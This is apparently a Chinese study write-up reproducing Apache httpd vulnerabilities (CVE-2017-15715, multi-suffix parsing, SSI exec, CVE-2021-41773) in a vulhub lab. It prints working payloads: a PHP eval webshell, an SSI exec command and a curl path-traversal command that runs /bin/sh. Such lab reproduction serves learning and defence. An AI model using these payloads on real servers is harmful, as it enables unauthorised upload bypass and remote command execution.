-
一.Apache httpd漏洞复现 换行解析漏洞CVE-2017-15715
漏洞描述
Apache httpd是一款http服务器,他通过mod_php来运行PHP网页,其中2.4.0~2.4.29版本中存在的一个解析漏洞,在解析PHP时,text.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器策略。
产生原因是$这个表达式,在正则表达式中,我们都知道$用来匹配字符串结尾位置。
如果设置了RegExp 对象的 Multiline 属性,则$也匹配‘\n’或‘\r’。要匹配 $ 字符本身,请使用 $。
使用vuihub靶场复现
docker compose build
docker compose up -d
docker compose ps
查看ip地址
ifconfig
访问:
http://your-ip:8080
接下来先尝试上传一个一句话木马<?php phpinfo();?>
上传失败
接下来burp抓包
将包发到repeater模块
点到16编码进制Hex位置
70后的位置0d右击
插入0a
无回显无报错证明上传成功
验证上传是否成功
有回显说明后门可以正常使用
如果想读取文件,或者上传下载将一句话木马写为
<?php @eval($_POST[“shell”]);?>
可以使用工具连接
-
二.Apache HTTPD 多后缀解析漏洞
漏洞概述:Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,不是必须是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
首先上传一个.php为后缀的后门文件
-
那就来利用一下apache httpd多后缀解析漏洞
访问文件位置,后门执行成功
利用AddHandler application/x-httpd-php .php这个配置文件,比如有一个文件含有多个后缀名但其中还有.php后缀即将被识别为php文件
三.Apache SSI远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。
访问靶机环境
写一个.shtml文件内容<!--#exec cmd="ls" --> 还可以执行其他命令
上传成功访问
四.Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773
漏洞复现启动环境
漏洞编号:CVE-2021-41773
在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本2.4.49
穿越的目录允许被访问(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
使用curl来发送命令载荷
curl -v --data "echo;id" 'http://192.168.153.177:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:(采用burp抓包,改包)
cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
漏洞复现记录笔记